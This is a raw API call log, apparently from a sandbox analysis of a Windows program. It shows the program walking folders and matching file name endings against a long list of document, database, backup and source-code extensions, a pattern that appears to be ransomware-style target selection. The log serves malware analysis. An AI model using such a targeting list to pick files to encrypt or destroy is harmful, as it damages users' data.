	[0178.888] lstrlenW (lpString=".accda") returned 6
	[0178.888] lstrcmpiW (lpString1=".accda", lpString2="2x.png") returned -1
	[0178.888] lstrlenW (lpString=".accdb") returned 6
	[0178.888] lstrcmpiW (lpString1=".accdb", lpString2="2x.png") returned -1
	[0178.888] lstrlenW (lpString=".accdc") returned 6
	[0178.888] lstrcmpiW (lpString1=".accdc", lpString2="2x.png") returned -1
	[0178.888] lstrlenW (lpString=".accde") returned 6
	[0178.888] lstrcmpiW (lpString1=".accde", lpString2="2x.png") returned -1
	[0178.888] lstrlenW (lpString=".accdt") returned 6
	[0178.888] lstrcmpiW (lpString1=".accdt", lpString2="2x.png") returned -1
	[0178.888] lstrlenW (lpString=".accdw") returned 6
	[0178.888] lstrcmpiW (lpString1=".accdw", lpString2="2x.png") returned -1
	[0178.888] lstrlenW (lpString=".adb") returned 4
	[0178.888] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1
	[0178.888] lstrlenW (lpString=".adp") returned 4
	[0178.888] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1
	[0178.888] lstrlenW (lpString=".ai") returned 3
	[0178.888] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1
	[0178.888] lstrlenW (lpString=".ai3") returned 4
	[0178.888] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1
	[0178.888] lstrlenW (lpString=".ai4") returned 4
	[0178.888] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".ai5") returned 4
	[0178.889] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".ai6") returned 4
	[0178.889] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".ai7") returned 4
	[0178.889] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".ai8") returned 4
	[0178.889] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".anim") returned 5
	[0178.889] lstrcmpiW (lpString1=".anim", lpString2="x.png") returned -1
	[0178.889] lstrlenW (lpString=".arw") returned 4
	[0178.889] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".as") returned 3
	[0178.889] lstrcmpiW (lpString1=".as", lpString2="png") returned -1
	[0178.889] lstrlenW (lpString=".asa") returned 4
	[0178.889] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".asc") returned 4
	[0178.889] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".ascx") returned 5
	[0178.889] lstrcmpiW (lpString1=".ascx", lpString2="x.png") returned -1
	[0178.889] lstrlenW (lpString=".asm") returned 4
	[0178.889] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".asmx") returned 5
	[0178.889] lstrcmpiW (lpString1=".asmx", lpString2="x.png") returned -1
	[0178.889] lstrlenW (lpString=".asp") returned 4
	[0178.889] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".aspx") returned 5
	[0178.889] lstrcmpiW (lpString1=".aspx", lpString2="x.png") returned -1
	[0178.889] lstrlenW (lpString=".asr") returned 4
	[0178.889] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".asx") returned 4
	[0178.889] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".avi") returned 4
	[0178.889] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".avs") returned 4
	[0178.889] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1
	[0178.889] lstrlenW (lpString=".backup") returned 7
	[0178.889] lstrcmpiW (lpString1=".backup", lpString2="-2x.png") returned -1
	[0178.890] lstrlenW (lpString=".bak") returned 4
	[0178.890] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".bay") returned 4
	[0178.890] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".bd") returned 3
	[0178.890] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1
	[0178.890] lstrlenW (lpString=".bin") returned 4
	[0178.890] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".bmp") returned 4
	[0178.890] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".bz2") returned 4
	[0178.890] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".c") returned 2
	[0178.890] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1
	[0178.890] lstrlenW (lpString=".cdr") returned 4
	[0178.890] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".cer") returned 4
	[0178.890] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".cf") returned 3
	[0178.890] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1
	[0178.890] lstrlenW (lpString=".cfc") returned 4
	[0178.890] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".cfm") returned 4
	[0178.890] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".cfml") returned 5
	[0178.890] lstrcmpiW (lpString1=".cfml", lpString2="x.png") returned -1
	[0178.890] lstrlenW (lpString=".cfu") returned 4
	[0178.890] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".chm") returned 4
	[0178.890] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".cin") returned 4
	[0178.890] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".class") returned 6
	[0178.890] lstrcmpiW (lpString1=".class", lpString2="2x.png") returned -1
	[0178.890] lstrlenW (lpString=".clx") returned 4
	[0178.890] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1
	[0178.890] lstrlenW (lpString=".config") returned 7
	[0178.891] lstrcmpiW (lpString1=".config", lpString2="-2x.png") returned -1
	[0178.891] lstrlenW (lpString=".cpp") returned 4
	[0178.891] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".cr2") returned 4
	[0178.891] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".crt") returned 4
	[0178.891] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".crw") returned 4
	[0178.891] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".cs") returned 3
	[0178.891] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1
	[0178.891] lstrlenW (lpString=".css") returned 4
	[0178.891] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".csv") returned 4
	[0178.891] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".cub") returned 4
	[0178.891] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".dae") returned 4
	[0178.891] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".dat") returned 4
	[0178.891] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".db") returned 3
	[0178.891] lstrcmpiW (lpString1=".db", lpString2="png") returned -1
	[0178.891] lstrlenW (lpString=".dbf") returned 4
	[0178.891] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".dbx") returned 4
	[0178.891] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".dc3") returned 4
	[0178.891] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".dcm") returned 4
	[0178.891] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".dcr") returned 4
	[0178.891] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".der") returned 4
	[0178.891] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".dib") returned 4
	[0178.891] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1
	[0178.891] lstrlenW (lpString=".dic") returned 4
	[0178.892] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1
	[0178.892] lstrlenW (lpString=".dif") returned 4
	[0178.892] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1
	[0178.892] lstrlenW (lpString=".divx") returned 5
	[0178.892] lstrcmpiW (lpString1=".divx", lpString2="x.png") returned -1
	[0178.892] lstrlenW (lpString=".djvu") returned 5
	[0178.892] lstrcmpiW (lpString1=".djvu", lpString2="x.png") returned -1
	[0178.892] lstrlenW (lpString=".dng") returned 4
	[0178.892] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1
	[0178.892] lstrlenW (lpString=".doc") returned 4
	[0178.892] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0178.892] lstrlenW (lpString=".docm") returned 5
	[0178.892] lstrcmpiW (lpString1=".docm", lpString2="x.png") returned -1
	[0178.892] lstrlenW (lpString=".docx") returned 5
	[0178.892] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1
	[0178.892] lstrlenW (lpString=".dot") returned 4
	[0178.892] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1
	[0178.892] lstrlenW (lpString=".dotm") returned 5
	[0178.892] lstrcmpiW (lpString1=".dotm", lpString2="x.png") returned -1
	[0178.892] lstrlenW (lpString=".dotx") returned 5
	[0178.893] lstrcmpiW (lpString1=".dotx", lpString2="x.png") returned -1
	[0178.893] lstrlenW (lpString=".dpx") returned 4
	[0178.893] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".dqy") returned 4
	[0178.893] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".dsn") returned 4
	[0178.893] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".dt") returned 3
	[0178.893] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1
	[0178.893] lstrlenW (lpString=".dtd") returned 4
	[0178.893] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".dwg") returned 4
	[0178.893] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".dwt") returned 4
	[0178.893] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".dx") returned 3
	[0178.893] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1
	[0178.893] lstrlenW (lpString=".dxf") returned 4
	[0178.893] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".edml") returned 5
	[0178.893] lstrcmpiW (lpString1=".edml", lpString2="x.png") returned -1
	[0178.893] lstrlenW (lpString=".efd") returned 4
	[0178.893] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".elf") returned 4
	[0178.893] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".emf") returned 4
	[0178.893] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".emz") returned 4
	[0178.893] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".epf") returned 4
	[0178.893] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".eps") returned 4
	[0178.893] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1
	[0178.893] lstrlenW (lpString=".epsf") returned 5
	[0178.893] lstrcmpiW (lpString1=".epsf", lpString2="x.png") returned -1
	[0178.893] lstrlenW (lpString=".epsp") returned 5
	[0178.893] lstrcmpiW (lpString1=".epsp", lpString2="x.png") returned -1
	[0178.893] lstrlenW (lpString=".erf") returned 4
	[0178.894] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1
	[0178.894] lstrlenW (lpString=".exr") returned 4
	[0178.894] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1
	[0178.894] lstrlenW (lpString=".f4v") returned 4
	[0178.894] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1
	[0178.894] lstrlenW (lpString=".fido") returned 5
	[0178.894] lstrcmpiW (lpString1=".fido", lpString2="x.png") returned -1
	[0178.894] lstrlenW (lpString=".flm") returned 4
	[0178.894] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1
	[0178.894] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0178.894] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1
	[0178.894] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.894] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0178.895] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0178.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0178.895] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0178.895] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0178.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.895] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0178.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.895] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0178.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.895] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0178.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.895] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0178.896] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.896] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0178.896] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.896] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0178.896] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.896] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0178.896] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.896] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0178.896] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.896] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0178.896] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.896] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0178.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.897] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0178.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.897] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0178.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.897] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0178.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.897] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0178.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0178.897] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0178.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.897] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0178.897] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0178.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0178.899] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 0
	[0178.899] FindClose (in: hFindFile=0x4140e98 | out: hFindFile=0x4140e98) returned 1
	[0178.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0178.899] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rna-main.js", cAlternateFileName="")) returned 1
	[0178.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
